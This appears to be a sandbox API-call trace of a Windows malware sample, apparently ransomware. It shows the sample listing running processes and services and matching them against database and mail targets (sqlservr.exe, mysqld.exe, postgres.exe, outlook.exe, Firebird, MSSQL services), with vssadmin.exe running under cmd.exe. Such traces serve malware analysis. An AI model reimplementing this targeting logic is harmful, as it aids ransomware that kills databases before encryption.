	[0053.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0053.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec0068 | out: hHeap=0x4f0000) returned 1
	[0053.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178
	[0053.803] Process32FirstW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0053.805] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0053.806] lstrlenW (lpString="System") returned 6
	[0053.806] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0053.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0053.806] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0053.807] lstrlenW (lpString="smss.exe") returned 8
	[0053.807] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0053.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0053.807] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0053.808] lstrlenW (lpString="csrss.exe") returned 9
	[0053.808] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0053.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0053.808] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0053.808] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0053.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0053.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0053.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0053.808] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0053.809] lstrlenW (lpString="wininit.exe") returned 11
	[0053.809] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0053.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0053.809] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0053.809] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0053.810] lstrlenW (lpString="csrss.exe") returned 9
	[0053.810] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0053.811] lstrlenW (lpString="winlogon.exe") returned 12
	[0053.811] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0053.811] lstrlenW (lpString="services.exe") returned 12
	[0053.811] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0053.812] lstrlenW (lpString="lsass.exe") returned 9
	[0053.812] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0053.813] lstrlenW (lpString="lsm.exe") returned 7
	[0053.813] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.814] lstrlenW (lpString="svchost.exe") returned 11
	[0053.814] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.814] lstrlenW (lpString="svchost.exe") returned 11
	[0053.814] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.815] lstrlenW (lpString="svchost.exe") returned 11
	[0053.815] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.816] lstrlenW (lpString="svchost.exe") returned 11
	[0053.816] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.816] lstrlenW (lpString="svchost.exe") returned 11
	[0053.816] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0053.817] lstrlenW (lpString="audiodg.exe") returned 11
	[0053.817] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.818] lstrlenW (lpString="svchost.exe") returned 11
	[0053.818] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.819] lstrlenW (lpString="svchost.exe") returned 11
	[0053.819] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0053.819] lstrlenW (lpString="dwm.exe") returned 7
	[0053.819] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0053.820] lstrlenW (lpString="explorer.exe") returned 12
	[0053.820] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0053.821] lstrlenW (lpString="spoolsv.exe") returned 11
	[0053.821] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0053.822] lstrlenW (lpString="taskhost.exe") returned 12
	[0053.822] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.822] lstrlenW (lpString="svchost.exe") returned 11
	[0053.822] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0053.823] lstrlenW (lpString="taskeng.exe") returned 11
	[0053.823] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0053.824] lstrlenW (lpString="taskhost.exe") returned 12
	[0053.824] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0053.824] lstrlenW (lpString="program.exe") returned 11
	[0053.824] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0053.825] lstrlenW (lpString="felt.exe") returned 8
	[0053.825] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0054.298] lstrlenW (lpString="bibliography.exe") returned 16
	[0054.298] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0054.299] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0054.299] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0054.300] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0054.300] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0054.300] lstrlenW (lpString="converter.exe") returned 13
	[0054.301] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0054.301] lstrlenW (lpString="once.exe") returned 8
	[0054.301] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0054.303] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0054.303] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0054.303] lstrlenW (lpString="always.exe") returned 10
	[0054.304] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0054.304] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0054.304] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0054.305] lstrlenW (lpString="donated.exe") returned 11
	[0054.305] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0054.306] lstrlenW (lpString="nowherepike.exe") returned 15
	[0054.306] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0054.307] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0054.307] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0054.307] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0054.307] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0054.308] lstrlenW (lpString="allowance.exe") returned 13
	[0054.308] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0054.309] lstrlenW (lpString="conducting affect.exe") returned 21
	[0054.309] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0054.310] lstrlenW (lpString="plaintiff.exe") returned 13
	[0054.310] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0054.311] lstrlenW (lpString="dialog.exe") returned 10
	[0054.311] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0054.311] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0054.311] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0054.312] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0054.312] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0054.313] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0054.313] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0054.313] lstrlenW (lpString="swpesp.exe") returned 10
	[0054.313] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0054.314] lstrlenW (lpString="cmd.exe") returned 7
	[0054.314] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0054.315] lstrlenW (lpString="conhost.exe") returned 11
	[0054.315] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0054.316] lstrlenW (lpString="vssadmin.exe") returned 12
	[0054.316] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0054.316] lstrlenW (lpString="VSSVC.exe") returned 9
	[0054.316] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0054.317] lstrlenW (lpString="svchost.exe") returned 11
	[0054.317] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0054.318] CloseHandle (hObject=0x178) returned 1
	[0054.318] Sleep (dwMilliseconds=0x1f4) 
	[0055.170] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0138
	[0055.170] EnumServicesStatusExW (in: hSCManager=0x35d0138, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0055.171] GetLastError () returned 0xea
	[0055.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ec0068
	[0055.171] EnumServicesStatusExW (in: hSCManager=0x35d0138, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec0068, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec0068, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0055.172] CloseServiceHandle (hSCObject=0x35d0138) returned 1
	[0055.172] lstrlenW (lpString="Appinfo") returned 7
	[0055.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0055.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0055.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0055.172] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0055.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0055.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0055.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0055.172] lstrlenW (lpString="AudioSrv") returned 8
	[0055.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0055.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0055.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0055.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0055.172] lstrlenW (lpString="BFE") returned 3
	[0055.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0055.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0055.173] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0055.173] lstrlenW (lpString="CryptSvc") returned 8
	[0055.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0055.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0055.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0055.173] lstrlenW (lpString="CscService") returned 10
	[0055.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0055.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0055.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0055.173] lstrlenW (lpString="DcomLaunch") returned 10
	[0055.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0055.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0055.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0055.173] lstrlenW (lpString="Dhcp") returned 4
	[0055.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
